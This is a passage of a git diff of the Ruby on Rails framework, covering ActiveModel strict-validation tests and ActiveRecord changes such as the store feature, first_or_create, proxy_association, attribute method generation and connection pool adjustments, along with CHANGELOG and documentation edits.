"hello").valid? + end + + def test_strict_validation_particular_validator + Topic.validates :title, :presence => {:strict => true} + assert_raises ActiveModel::StrictValidationFailed do + Topic.new.valid? + end + end + + def test_strict_validation_in_custom_validator_helper + Topic.validates_presence_of :title, :strict => true + assert_raises ActiveModel::StrictValidationFailed do + Topic.new.valid? + end + end + + def test_validates_with_bang + Topic.validates! :title, :presence => true + assert_raises ActiveModel::StrictValidationFailed do + Topic.new.valid? + end + end end diff --git a/activemodel/test/models/helicopter.rb b/activemodel/test/models/helicopter.rb new file mode 100644 index 0000000000..a52b6fb4dd --- /dev/null +++ b/activemodel/test/models/helicopter.rb @@ -0,0 +1,3 @@ +class Helicopter + include ActiveModel::Conversion +end diff --git a/activerecord/CHANGELOG b/activerecord/CHANGELOG index e448609cf4..0f6a31d679 100644 --- a/activerecord/CHANGELOG +++ b/activerecord/CHANGELOG @@ -1,5 +1,68 @@ *Rails 3.2.0 (unreleased)* +* Added ActiveRecord::Base.store for declaring simple single-column key/value stores [DHH] + + class User < ActiveRecord::Base + store :settings, accessors: [ :color, :homepage ] + end + + u = User.new(color: 'black', homepage: '37signals.com') + u.color # Accessor stored attribute + u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor + + +* MySQL: case-insensitive uniqueness validation avoids calling LOWER when + the column already uses a case-insensitive collation. Fixes #561. + + [Joseph Palermo] + +* Transactional fixtures enlist all active database connections. You can test + models on different connections without disabling transactional fixtures. + + [Jeremy Kemper] + +* Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a + better approach over the old find_or_create_by dynamic methods because it's clearer which + arguments are used to find the record and which are used to create it: + + User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson") + + [Andrés Mejía] + +*Rails 3.1.1 (October 7, 2011)* + +* Add deprecation for the preload_associations method. Fixes #3022. + + [Jon Leighton] + +* Don't require a DB connection when loading a model that uses set_primary_key. GH #2807. + + [Jon Leighton] + +* Fix using select() with a habtm association, e.g. Person.friends.select(:name). GH #3030 and + #2923. + + [Hendy Tanata] + +* Fix belongs_to polymorphic with custom primary key on target. GH #3104. + + [Jon Leighton] + +* CollectionProxy#replace should change the DB records rather than just mutating the array. + Fixes #3020. + + [Jon Leighton] + +* LRU cache in mysql and sqlite are now per-process caches. + + * lib/active_record/connection_adapters/mysql_adapter.rb: LRU cache + keys are per process id. + * lib/active_record/connection_adapters/sqlite_adapter.rb: ditto + + [Aaron Patterson] + +* Support bulk change_table in mysql2 adapter, as well as the mysql one. [Jon Leighton] + * If multiple parameters are sent representing a date, and some are blank, the resulting object is nil. In previous releases those values defaulted to 1. This only affects existing but blank parameters, missing ones still raise an error. @@ -22,7 +85,14 @@ a URI that specifies the connection configuration. For example: [Prem Sichanugrist] -*Rails 3.1.0 (unreleased)* + +*Rails 3.1.0 (August 30, 2011)* + +* Add a proxy_association method to association proxies, which can be called by association + extensions to access information about the association. This replaces proxy_owner etc with + proxy_association.owner. + + [Jon Leighton] * ActiveRecord::MacroReflection::AssociationReflection#build_record has a new method signature. diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc index 822276589b..b5db57569c 100644 --- a/activerecord/README.rdoc +++ b/activerecord/README.rdoc @@ -197,13 +197,13 @@ Admit the Database: == Download and installation -The latest version of Active Record can be installed with Rubygems: +The latest version of Active Record can be installed with RubyGems: % [sudo] gem install activerecord Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/activerecord/ +* https://github.com/rails/rails/tree/master/activerecord == License diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec index 8ac4d9a225..2de81c31a3 100644 --- a/activerecord/activerecord.gemspec +++ b/activerecord/activerecord.gemspec @@ -21,6 +21,6 @@ Gem::Specification.new do |s| s.add_dependency('activesupport', version) s.add_dependency('activemodel', version) - s.add_dependency('arel', '~> 2.1.3') + s.add_dependency('arel', '~> 2.2.1') s.add_dependency('tzinfo', '~> 0.3.29') end diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb index 59cf42a377..3572c640eb 100644 --- a/activerecord/lib/active_record.rb +++ b/activerecord/lib/active_record.rb @@ -21,13 +21,6 @@ # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #++ - -activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__) -$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path) - -activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__) -$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path) - require 'active_support' require 'active_support/i18n' require 'active_model' @@ -41,6 +34,7 @@ module ActiveRecord eager_autoload do autoload :ActiveRecordError, 'active_record/errors' autoload :ConnectionNotEstablished, 'active_record/errors' + autoload :ConnectionAdapters, 'active_record/connection_adapters/abstract_adapter' autoload :Aggregations autoload :Associations @@ -71,9 +65,11 @@ module ActiveRecord autoload :Persistence autoload :QueryCache autoload :Reflection + autoload :Result autoload :Schema autoload :SchemaDumper autoload :Serialization + autoload :Store autoload :SessionStore autoload :Timestamp autoload :Transactions diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb index 029d7a9b15..0952ea2829 100644 --- a/activerecord/lib/active_record/associations.rb +++ b/activerecord/lib/active_record/associations.rb @@ -460,6 +460,12 @@ module ActiveRecord # * <tt>record.association(:items).target</tt> - Returns the associated object for +belongs_to+ and +has_one+, or # the collection of associated objects for +has_many+ and +has_and_belongs_to_many+. # + # However, inside the actual extension code, you will not have access to the <tt>record</tt> as + # above. In this case, you can access <tt>proxy_association</tt>. For example, + # <tt>record.association(:items)</tt> and <tt>record.items.proxy_association</tt> will return + # the same object, allowing you to make calls like <tt>proxy_association.owner</tt> inside + # association extensions. + # # === Association Join Models # # Has Many associations can be configured with the <tt>:through</tt> option to use an @@ -1081,7 +1087,8 @@ module ActiveRecord # # [:finder_sql] # Specify a complete SQL statement to fetch the association. This is a good way to go for complex - # associations that depend on multiple tables. Note: When this option is used, +find_in_collection+ + # associations that depend on multiple tables. May be supplied as a string or a proc where interpolation is + # required. Note: When this option is used, +find_in_collection+ # is _not_ added. # [:counter_sql] # Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is @@ -1156,11 +1163,14 @@ module ActiveRecord # has_many :tags, :as => :taggable # has_many :reports, :readonly => true # has_many :subscribers, :through => :subscriptions, :source => :user - # has_many :subscribers, :class_name => "Person", :finder_sql => - # 'SELECT DISTINCT people.* ' + - # 'FROM people p, post_subscriptions ps ' + - # 'WHERE ps.post_id = #{id} AND ps.person_id = p.id ' + - # 'ORDER BY p.first_name' + # has_many :subscribers, :class_name => "Person", :finder_sql => Proc.new { + # %Q{ + # SELECT DISTINCT people.* + # FROM people p, post_subscriptions ps + # WHERE ps.post_id = #{id} AND ps.person_id = p.id + # ORDER BY p.first_name + # } + # } def has_many(name, options = {}, &extension) Builder::HasMany.build(self, name, options, &extension) end @@ -1319,7 +1329,7 @@ module ActiveRecord # # [:class_name] # Specify the class name of the association. Use it only if that name can't be inferred - # from the association name. So <tt>has_one :author</tt> will by default be linked to the Author class, but + # from the association name. So <tt>belongs_to :author</tt> will by default be linked to the Author class, but # if the real class name is Person, you'll have to specify it with this option. # [:conditions] # Specify the conditions that the associated object must meet in order to be included as a +WHERE+ @@ -1565,7 +1575,7 @@ module ActiveRecord # has_and_belongs_to_many :categories, :join_table => "prods_cats" # has_and_belongs_to_many :categories, :readonly => true # has_and_belongs_to_many :active_projects, :join_table => 'developers_projects', :delete_sql => - # 'DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}' + # "DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}" def has_and_belongs_to_many(name, options = {}, &extension) Builder::HasAndBelongsToMany.build(self, name, options, &extension) end diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb index 92ed844a2e..0248c7483c 100644 --- a/activerecord/lib/active_record/associations/alias_tracker.rb +++ b/activerecord/lib/active_record/associations/alias_tracker.rb @@ -53,12 +53,18 @@ module ActiveRecord # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase quoted_name = connection.quote_table_name(name).downcase - table_joins.map { |join| - # Table names + table aliases - join.left.downcase.scan( - /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/ - ).size - }.sum + counts = table_joins.map do |join| + if join.is_a?(Arel::Nodes::StringJoin) + # Table names + table aliases + join.left.downcase.scan( + /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/ + ).size + else + join.left.table_name == name ? 1 : 0 + end + end + + counts.sum end def truncate(name) diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb index bb519c5703..d1e3ff8e38 100644 --- a/activerecord/lib/active_record/associations/association.rb +++ b/activerecord/lib/active_record/associations/association.rb @@ -151,20 +151,20 @@ module ActiveRecord reset end + def interpolate(sql, record = nil) + if sql.respond_to?(:to_proc) + owner.send(:instance_exec, record, &sql) + else + sql + end + end + private def find_target? !loaded? && (!owner.new_record? || foreign_key_present?) && klass end - def interpolate(sql, record = nil) - if sql.respond_to?(:to_proc) - owner.send(:instance_exec, record, &sql) - else - sql - end - end - def creation_attributes attributes = {} diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb index 9e6d9e73c5..6cc401e6cc 100644 --- a/activerecord/lib/active_record/associations/association_scope.rb +++ b/activerecord/lib/active_record/associations/association_scope.rb @@ -42,10 +42,6 @@ module ActiveRecord select_value ||= options[:uniq] && "DISTINCT #{reflection.quoted_table_name}.*" end - if reflection.macro == :has_and_belongs_to_many - select_value ||= reflection.klass.arel_table[Arel.star] - end - select_value end @@ -68,7 +64,12 @@ module ActiveRecord end if reflection.source_macro == :belongs_to - key = reflection.association_primary_key + if reflection.options[:polymorphic] + key = reflection.association_primary_key(klass) + else + key = reflection.association_primary_key + end + foreign_key = reflection.foreign_key else key = reflection.foreign_key diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb index adb6af7165..97f531d064 100644 --- a/activerecord/lib/active_record/associations/belongs_to_association.rb +++ b/activerecord/lib/active_record/associations/belongs_to_association.rb @@ -20,6 +20,10 @@ module ActiveRecord private + def find_target? + !loaded? && foreign_key_present? && klass + end + def update_counters(record) counter_cache_name = reflection.counter_cache_column @@ -41,7 +45,11 @@ module ActiveRecord end def replace_keys(record) - owner[reflection.foreign_key] = record && record[reflection.association_primary_key] + if record + owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)] + else + owner[reflection.foreign_key] = nil + end end def foreign_key_present? diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb index 198ad06360..2ee5dbbd70 100644 --- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb +++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb @@ -2,6 +2,11 @@ module ActiveRecord # = Active Record Belongs To Polymorphic Association module Associations class BelongsToPolymorphicAssociation < BelongsToAssociation #:nodoc: + def klass + type = owner[reflection.foreign_type] + type.presence && type.constantize + end + private def replace_keys(record) @@ -17,11 +22,6 @@ module ActiveRecord reflection.polymorphic_inverse_of(record.class) end - def klass - type = owner[reflection.foreign_type] - type.presence && type.constantize - end - def raise_on_type_mismatch(record) # A polymorphic association cannot have a type mismatch, by definition end diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb index 3e68f973e7..cec876149c 100644 --- a/activerecord/lib/active_record/associations/collection_association.rb +++ b/activerecord/lib/active_record/associations/collection_association.rb @@ -382,7 +382,7 @@ module ActiveRecord persisted.map! do |record| # Unfortunately we cannot simply do memory.delete(record) since on 1.8 this returns - # record rather than memory.at(memory.index(record)). The behaviour is fixed in 1.9. + # record rather than memory.at(memory.index(record)). The behavior is fixed in 1.9. mem_index = memory.index(record) if mem_index diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb index 827dfb7ccb..3181ca9a32 100644 --- a/activerecord/lib/active_record/associations/collection_proxy.rb +++ b/activerecord/lib/active_record/associations/collection_proxy.rb @@ -46,7 +46,7 @@ module ActiveRecord delegate :select, :find, :first, :last, :build, :create, :create!, - :concat, :delete_all, :destroy_all, :delete, :destroy, :uniq, + :concat, :replace, :delete_all, :destroy_all, :delete, :destroy, :uniq, :sum, :count, :size, :length, :empty?, :any?, :many?, :include?, :to => :@association @@ -58,23 +58,27 @@ module ActiveRecord alias_method :new, :build + def proxy_association + @association + end + def respond_to?(name, include_private = false) super || (load_target && target.respond_to?(name, include_private)) || - @association.klass.respond_to?(name, include_private) + proxy_association.klass.respond_to?(name, include_private) end def method_missing(method, *args, &block) match = DynamicFinderMatch.match(method) if match && match.instantiator? send(:find_or_instantiator_by_attributes, match, match.attribute_names, *args) do |r| - @association.send :set_owner_attributes, r - @association.send :add_to_target, r + proxy_association.send :set_owner_attributes, r + proxy_association.send :add_to_target, r yield(r) if block_given? end end - if target.respond_to?(method) || (!@association.klass.respond_to?(method) && Class.respond_to?(method)) + if target.respond_to?(method) || (!proxy_association.klass.respond_to?(method) && Class.respond_to?(method)) if load_target if target.respond_to?(method) target.send(method, *args, &block) @@ -104,7 +108,7 @@ module ActiveRecord alias_method :to_a, :to_ary def <<(*records) - @association.concat(records) && self + proxy_association.concat(records) && self end alias_method :push, :<< @@ -114,7 +118,7 @@ module ActiveRecord end def reload - @association.reload + proxy_association.reload self end end diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb index f7ce70db1a..1f917f58f2 100644 --- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb +++ b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb @@ -26,7 +26,7 @@ module ActiveRecord join_table[reflection.association_foreign_key] => record.id ) - owner.connection.insert stmt.to_sql + owner.connection.insert stmt end record @@ -46,7 +46,7 @@ module ActiveRecord stmt = relation.where(relation[reflection.foreign_key].eq(owner.id). and(relation[reflection.association_foreign_key].in(records.map { |x| x.id }.compact)) ).compile_delete - owner.connection.delete stmt.to_sql + owner.connection.delete stmt end end diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb index 504f25271c..6c878f0f00 100644 --- a/activerecord/lib/active_record/associations/join_dependency.rb +++ b/activerecord/lib/active_record/associations/join_dependency.rb @@ -188,13 +188,12 @@ module ActiveRecord association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil? set_target_and_inverse(join_part, association, record) else - return if row[join_part.aliased_primary_key].nil? - association = join_part.instantiate(row) + association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil? case macro when :has_many, :has_and_belongs_to_many other = record.association(join_part.reflection.name) other.loaded! - other.target.push(association) + other.target.push(association) if association other.set_inverse_instance(association) when :belongs_to set_target_and_inverse(join_part, association, record) diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb index 24be279449..b77b667219 100644 --- a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb +++ b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb @@ -13,7 +13,7 @@ module ActiveRecord # access the aliased column on the join table def records_for(ids) scope = super - klass.connection.select_all(scope.arel.to_sql, 'SQL', scope.bind_values) + klass.connection.select_all(scope.arel, 'SQL', scope.bind_values) end def owner_key_name diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb index 81172179e0..b347a94978 100644 --- a/activerecord/lib/active_record/associations/through_association.rb +++ b/activerecord/lib/active_record/associations/through_association.rb @@ -16,7 +16,7 @@ module ActiveRecord chain[1..-1].each do |reflection| scope = scope.merge( reflection.klass.scoped.with_default_scope. - except(:select, :create_with, :includes) + except(:select, :create_with, :includes, :preload, :joins, :eager_load) ) end scope diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb index d0687ed0b6..d7bfaa5655 100644 --- a/activerecord/lib/active_record/attribute_methods.rb +++ b/activerecord/lib/active_record/attribute_methods.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/enumerable' +require 'active_support/deprecation' module ActiveRecord # = Active Record Attribute Methods @@ -11,56 +12,83 @@ module ActiveRecord # accessors, mutators and query methods. def define_attribute_methods return if attribute_methods_generated? - super(column_names) - @attribute_methods_generated = true + + if base_class == self + super(column_names) + @attribute_methods_generated = true + else + base_class.define_attribute_methods + end end def attribute_methods_generated? - @attribute_methods_generated ||= false + if base_class == self + @attribute_methods_generated ||= false + else + base_class.attribute_methods_generated? + end end def undefine_attribute_methods(*args) - super - @attribute_methods_generated = false + if base_class == self + super + @attribute_methods_generated = false + else + base_class.undefine_attribute_methods(*args) + end end - # Checks whether the method is defined in the model or any of its subclasses - # that also derive from Active Record. Raises DangerousAttributeError if the - # method is defined by Active Record though. def instance_method_already_implemented?(method_name) - method_name = method_name.to_s - index = ancestors.index(ActiveRecord::Base) || ancestors.length - @_defined_class_methods ||= ancestors.first(index).map { |m| - m.instance_methods(false) | m.private_instance_methods(false) - }.flatten.map {|m| m.to_s }.to_set + if dangerous_attribute_method?(method_name) + raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord" + end - @@_defined_activerecord_methods ||= defined_activerecord_methods - raise DangerousAttributeError, "#{method_name} is defined by ActiveRecord" if @@_defined_activerecord_methods.include?(method_name) - @_defined_class_methods.include?(method_name) + super end - def defined_activerecord_methods + # A method name is 'dangerous' if it is already defined by Active Record, but + # not by any ancestors. (So 'puts' is not dangerous but 'save' is.) + def dangerous_attribute_method?(method_name) active_record = ActiveRecord::Base - super_klass = ActiveRecord::Base.superclass - methods = (active_record.instance_methods - super_klass.instance_methods) + - (active_record.private_instance_methods - super_klass.private_instance_methods) - methods.map {|m| m.to_s }.to_set + superclass = ActiveRecord::Base.superclass + + (active_record.method_defined?(method_name) || + active_record.private_method_defined?(method_name)) && + !superclass.method_defined?(method_name) && + !superclass.private_method_defined?(method_name) end end - def method_missing(method_id, *args, &block) - # If we haven't generated any methods yet, generate them, then - # see if we've created the method we're looking for. - if !self.class.attribute_methods_generated? + # If we haven't generated any methods yet, generate them, then + # see if we've created the method we're looking for. + def method_missing(method, *args, &block) + unless self.class.attribute_methods_generated? self.class.define_attribute_methods - method_name = method_id.to_s - guard_private_attribute_method!(method_name, args) - send(method_id, *args, &block) + + if respond_to_without_attributes?(method) + send(method, *args, &block) + else + super + end else super end end + def attribute_missing(match, *args, &block) + if self.class.columns_hash[match.attr_name] + ActiveSupport::Deprecation.warn( + "The method `#{match.method_name}', matching the attribute `#{match.attr_name}' has " \ + "dispatched through method_missing. This shouldn't happen, because `#{match.attr_name}' " \ + "is a column of the table. If this error has happened through normal usage of Active " \ + "Record (rather than through your own code or external libraries), please report it as " \ + "a bug." + ) + end + + super + end + def respond_to?(name, include_private = false) self.class.define_attribute_methods unless self.class.attribute_methods_generated? super diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb index 8bd898d126..a404a5edd7 100644 --- a/activerecord/lib/active_record/attribute_methods/primary_key.rb +++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb @@ -3,11 +3,10 @@ module ActiveRecord module PrimaryKey extend ActiveSupport::Concern - # Returns this record's primary key value wrapped in an Array or nil if - # the record is not persisted? or has just been destroyed. + # Returns this record's primary key value wrapped in an Array if one is available def to_key key = send(self.class.primary_key) - persisted? && key ? [key] : nil + [key] if key end module ClassMethods @@ -67,7 +66,6 @@ module ActiveRecord @primary_key ||= '' self.original_primary_key = @primary_key value &&= value.to_s - connection_pool.primary_keys[table_name] = value self.primary_key = block_given? ? instance_eval(&block) : value end end diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb index 9a50a20fbc..4174e4da09 100644 --- a/activerecord/lib/active_record/attribute_methods/read.rb +++ b/activerecord/lib/active_record/attribute_methods/read.rb @@ -6,8 +6,6 @@ module ActiveRecord ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date] included do - attribute_method_suffix "" - cattr_accessor :attribute_types_cached_by_default, :instance_writer => false self.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb index c77a3ac145..e9cdb130db 100644 --- a/activerecord/lib/active_record/attribute_methods/write.rb +++ b/activerecord/lib/active_record/attribute_methods/write.rb @@ -17,6 +17,10 @@ module ActiveRecord write_attribute(attr_name, new_value) end end + + if attr_name == primary_key && attr_name != "id" + generated_attribute_methods.module_eval("alias :id= :'#{primary_key}='") + end end end @@ -24,12 +28,16 @@ module ActiveRecord # for fixnum and float columns are turned into +nil+. def write_attribute(attr_name, value) attr_name = attr_name.to_s - attr_name = self.class.primary_key if attr_name == 'id' + attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key @attributes_cache.delete(attr_name) - if (column = column_for_attribute(attr_name)) && column.number? + column = column_for_attribute(attr_name) + + if column && column.number? @attributes[attr_name] = convert_number_column_value(value) - else + elsif column || @attributes.has_key?(attr_name) @attributes[attr_name] = value + else + raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{attr_name}'" end end alias_method :raw_write_attribute, :write_attribute diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb index 085fdba639..056170d82a 100644 --- a/activerecord/lib/active_record/autosave_association.rb +++ b/activerecord/lib/active_record/autosave_association.rb @@ -370,7 +370,10 @@ module ActiveRecord else key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id if autosave != false && (new_record? || record.new_record? || record[reflection.foreign_key] != key || autosave) - record[reflection.foreign_key] = key + unless reflection.through_reflection + record[reflection.foreign_key] = key + end + saved = record.save(:validate => !autosave) raise ActiveRecord::Rollback if !saved && autosave saved diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb index c26119287a..6dae90266e 100644 --- a/activerecord/lib/active_record/base.rb +++ b/activerecord/lib/active_record/base.rb @@ -177,6 +177,10 @@ module ActiveRecord #:nodoc: # And instead of writing <tt>Person.where(:last_name => last_name).all</tt>, you just do # <tt>Person.find_all_by_last_name(last_name)</tt>. # + # It's possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an + # <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records, + # like <tt>Person.find_by_last_name!</tt>. + # # It's also possible to use multiple attributes in the same find by separating them with "_and_". # # Person.where(:user_name => user_name, :password => password).first @@ -438,6 +442,7 @@ module ActiveRecord #:nodoc: class << self # Class methods delegate :find, :first, :first!, :last, :last!, :all, :exists?, :any?, :many?, :to => :scoped + delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :scoped delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :scoped delegate :find_each, :find_in_batches, :to => :scoped delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins, :where, :preload, :eager_load, :includes, :from, :lock, :readonly, :having, :create_with, :to => :scoped @@ -504,8 +509,7 @@ module ActiveRecord #:nodoc: if attributes.is_a?(Array) attributes.collect { |attr| create(attr, options, &block) } else - object = new(attributes, options) - yield(object) if block_given? + object = new(attributes, options, &block) object.save object end @@ -621,6 +625,8 @@ module ActiveRecord #:nodoc: # Computes the table name, (re)sets it internally, and returns it. def reset_table_name #:nodoc: + return if abstract_class? + self.table_name = compute_table_name end @@ -701,6 +707,10 @@ module ActiveRecord #:nodoc: # Returns an array of column objects for the table associated with this class. def columns + if defined?(@primary_key) + connection_pool.primary_keys[table_name] ||= primary_key + end + connection_pool.columns[table_name] end @@ -938,17 +948,6 @@ module ActiveRecord #:nodoc: self.current_scope = nil end - # Specifies how the record is loaded by +Marshal+. - # - # +_load+ sets an instance variable for each key in the hash it takes as input. - # Override this method if you require more complex marshalling. - def _load(data) - record = allocate - record.init_with(Marshal.load(data)) - record - end - - # Finder methods must instantiate through this method to work with the # single-table inheritance model that makes it possible to create # objects of different types from the same table. @@ -1268,27 +1267,43 @@ MSG self.default_scopes = default_scopes + [scope] end - # The @ignore_default_scope flag is used to prevent an infinite recursion situation where - # a default scope references a scope which has a default scope which references a scope... def build_default_scope #:nodoc: - return if defined?(@ignore_default_scope) && @ignore_default_scope - @ignore_default_scope = true - if method(:default_scope).owner != Base.singleton_class - default_scope + evaluate_default_scope { default_scope } elsif default_scopes.any? - default_scopes.inject(relation) do |default_scope, scope| - if scope.is_a?(Hash) - default_scope.apply_finder_options(scope) - elsif !scope.is_a?(Relation) && scope.respond_to?(:call) - default_scope.merge(scope.call) - else - default_scope.merge(scope) + evaluate_default_scope do + default_scopes.inject(relation) do |default_scope, scope| + if scope.is_a?(Hash) + default_scope.apply_finder_options(scope) + elsif !scope.is_a?(Relation) && scope.respond_to?(:call) + default_scope.merge(scope.call) + else + default_scope.merge(scope) + end end end end - ensure - @ignore_default_scope = false + end + + def ignore_default_scope? #:nodoc: + Thread.current["#{self}_ignore_default_scope"] + end + + def ignore_default_scope=(ignore) #:nodoc: + Thread.current["#{self}_ignore_default_scope"] = ignore + end + + # The ignore_default_scope flag is used to prevent an infinite recursion situation where + # a default scope references a scope which has a default scope which references a scope... + def evaluate_default_scope + return if ignore_default_scope? + + begin + self.ignore_default_scope = true + yield + ensure + self.ignore_default_scope = false + end end # Returns the class type of the record using the current module as a prefix. So descendants of @@ -1321,7 +1336,7 @@ MSG # Returns the class descending directly from ActiveRecord::Base or an # abstract class, if any, in the inheritance hierarchy. def class_of_active_record_descendant(klass) - if klass.superclass == Base || klass.superclass.abstract_class? + if klass == Base || klass.superclass == Base || klass.superclass.abstract_class? klass elsif klass.superclass.nil? raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord" @@ -1410,9 +1425,8 @@ MSG attrs = expand_hash_conditions_for_aggregates(attrs) table = Arel::Table.new(table_name).alias(default_table_name) - viz = Arel::Visitors.for(arel_engine) PredicateBuilder.build_from_hash(arel_engine, attrs, table).map { |b| - viz.accept b + connection.visitor.accept b }.join(' AND ') end alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions @@ -1590,16 +1604,6 @@ MSG self end - # Specifies how the record is dumped by +Marshal+. - # - # +_dump+ emits a marshalled hash which has been passed to +encode_with+. Override this - # method if you require more complex marshalling. - def _dump(level) - dump = {} - encode_with(dump) - Marshal.dump(dump) - end - # Returns a String, which Action Pack uses for constructing an URL to this # object. The default implementation returns this record's id as a String, # or nil if this record's unsaved. @@ -1850,7 +1854,7 @@ MSG ensure_proper_type populate_with_current_scope_attributes - clear_timestamp_attributes + super end # Returns +true+ if the record is read only. Records loaded through joins with piggy-back @@ -2114,14 +2118,6 @@ MSG send("#{att}=", value) if respond_to?("#{att}=") end end - - # Clear attributes and changed_attributes - def clear_timestamp_attributes - all_timestamp_attributes_in_model.each do |attribute_name| - self[attribute_name] = nil - changed_attributes.delete(attribute_name) - end - end end Base.class_eval do @@ -2149,7 +2145,7 @@ MSG # AutosaveAssociation needs to be included before Transactions, because we want # #save_with_autosave_associations to be wrapped inside a transaction. include AutosaveAssociation, NestedAttributes - include Aggregations, Transactions, Reflection, Serialization + include Aggregations, Transactions, Reflection, Serialization, Store NilClass.add_whiner(self) if NilClass.respond_to?(:add_whiner) @@ -2166,6 +2162,5 @@ MSG end end -# TODO: Remove this and make it work with LAZY flag -require 'active_record/connection_adapters/abstract_adapter' +require 'active_record/connection_adapters/abstract/connection_specification' ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base) diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb index ddfdb05297..77a5fe1efb 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb @@ -82,10 +82,11 @@ module ActiveRecord # default max pool size to 5 @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5 - @connections = [] - @checked_out = [] + @connections = [] + @checked_out = [] @automatic_reconnect = true - @tables = {} + @tables = {} + @visitor = nil @columns = Hash.new do |h, table_name| h[table_name] = with_connection do |conn| @@ -298,12 +299,22 @@ module ActiveRecord :connected?, :disconnect!, :with => :@connection_mutex private + def new_connection - ActiveRecord::Base.send(spec.adapter_method, spec.config) + connection = ActiveRecord::Base.send(spec.adapter_method, spec.config) + + # TODO: This is a bit icky, and in the long term we may want to change the method + # signature for connections. Also, if we switch to have one visitor per + # connection (and therefore per thread), we can get rid of the thread-local + # variable in Arel::Visitors::ToSql. + @visitor ||= connection.class.visitor_for(self) + connection.visitor = @visitor + + connection end def current_connection_id #:nodoc: - Thread.current.object_id + ActiveRecord::Base.connection_id ||= Thread.current.object_id end def checkout_new_connection @@ -410,7 +421,7 @@ module ActiveRecord # can be used as an argument for establish_connection, for easily # re-establishing the connection. def remove_connection(klass) - pool = @connection_pools[klass.name] + pool = @connection_pools.delete(klass.name) return nil unless pool pool.automatic_reconnect = false diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb index 123b3654e6..3d0f146fed 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb +++ 